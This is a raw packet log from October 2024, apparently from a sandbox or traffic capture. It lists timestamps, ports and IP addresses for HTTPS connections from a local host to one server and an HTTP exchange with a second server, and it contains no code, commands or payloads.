Oct 24, 2024 09:07:17.417098999 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:17.417115927 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:18.108139038 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:18.108397007 CEST	443	49729	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:18.108406067 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:18.108459949 CEST	49729	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:18.616169930 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:18.616218090 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:18.616358042 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:18.616660118 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:18.616673946 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.238528013 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.238606930 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:19.239748955 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:19.239756107 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.240077972 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.241345882 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:19.241445065 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:19.241450071 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.746390104 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.746607065 CEST	443	49740	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:19.746674061 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:19.746839046 CEST	49740	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.341989994 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.342031956 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.342098951 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.342506886 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.342520952 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.948793888 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.948889971 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.950131893 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.950139046 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.950623035 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.951843023 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.952600956 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.952635050 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.952749014 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.952783108 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.952886105 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.952938080 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.953071117 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.953094959 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.953227043 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.953252077 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.953392982 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.953425884 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.953434944 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.953572989 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.953603983 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964037895 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.964198112 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964240074 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964252949 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964272976 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.964421034 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964451075 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964467049 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964514017 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:20.964639902 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:20.964679003 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:22.837105036 CEST	443	49751	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:22.837333918 CEST	49751	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:22.880047083 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:22.880067110 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:22.880140066 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:22.880414963 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:22.880425930 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.497272968 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.497394085 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.501457930 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.501471043 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.501885891 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.503202915 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.503232956 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.503293991 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.987974882 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.988208055 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.988287926 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.988434076 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.988452911 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.988462925 CEST	49766	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:07:23.988466978 CEST	443	49766	104.21.53.8	192.168.2.6
Oct 24, 2024 09:07:23.991389036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:23.996711016 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:23.996805906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:23.997030020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.002346039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918363094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918401957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918463945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.918500900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918560982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918576956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918607950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.918651104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918665886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918683052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918694019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.918706894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918721914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.918735027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.918768883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.923923969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.923939943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.923954964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.923970938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:24.924005032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:24.924047947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.080338955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080382109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080530882 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.080626965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080682039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080719948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080751896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.080790043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080826998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.080853939 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.081079006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.081125975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.081156969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.081171989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.081211090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.081224918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.081243038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.081259966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.081274033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.082117081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.082133055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.082149982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.082180977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.082196951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.082215071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.082230091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.082243919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.082262993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.083040953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.083066940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.083090067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.083096981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.083111048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.083127022 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.083134890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.083178997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.241949081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.241982937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242039919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.242079973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242131948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242161989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242198944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.242232084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242275953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242290020 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.242324114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242363930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.242444992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242495060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242543936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.242608070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242660046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242719889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242733002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.242767096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.242815018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.243046045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243099928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243149042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.243150949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243201017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243233919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243263960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.243292093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243340969 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.243753910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243808031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243841887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243864059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.243915081 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243948936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.243980885 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.244014978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.244060993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.244062901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.244093895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.244136095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.244806051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.244873047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.244908094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.244929075 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.244981050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245012999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245034933 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.245069981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245114088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245141983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.245173931 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245260000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.245752096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245853901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245910883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.245939970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.245974064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.246018887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.246032000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.246062994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.246095896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.246115923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.246172905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.246222973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.247802019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.247862101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.247896910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.247932911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.247968912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.248061895 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.403744936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.403779984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.403842926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.403858900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.403918982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.403954029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.403976917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404028893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404074907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404103994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404196978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404226065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404277086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404329062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404376984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404406071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404455900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404520035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404546976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404577017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404619932 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404701948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404736042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404779911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404793978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404844046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404895067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.404937983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.404992104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405025005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405044079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405076981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405119896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405147076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405195951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405230045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405252934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405283928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405328989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405343056 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405395031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405442953 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405467987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405499935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405540943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405550003 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405596018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405628920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405649900 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405680895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405725956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405761003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405792952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405827045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405848026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405883074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405915022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.405937910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.405967951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406009912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406023026 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406054020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406086922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406105995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406137943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406169891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406188965 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406219959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406264067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406276941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406306982 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406346083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406366110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406398058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406439066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406452894 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406483889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406517029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406536102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406567097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406610012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406624079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.406655073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406687021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.406708002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.412323952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412386894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412400961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.412436008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412483931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.412508965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412554979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412596941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412610054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.412643909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.412694931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.520495892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520510912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520564079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.520680904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520725965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520762920 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.520862103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520876884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520905972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520921946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.520948887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520962954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.520981073 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.520989895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.521024942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.521117926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.521142006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.521157980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.521173000 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:25.521182060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:25.521198034 CEST	80	49772	185.215.113.16	192.168.2.6
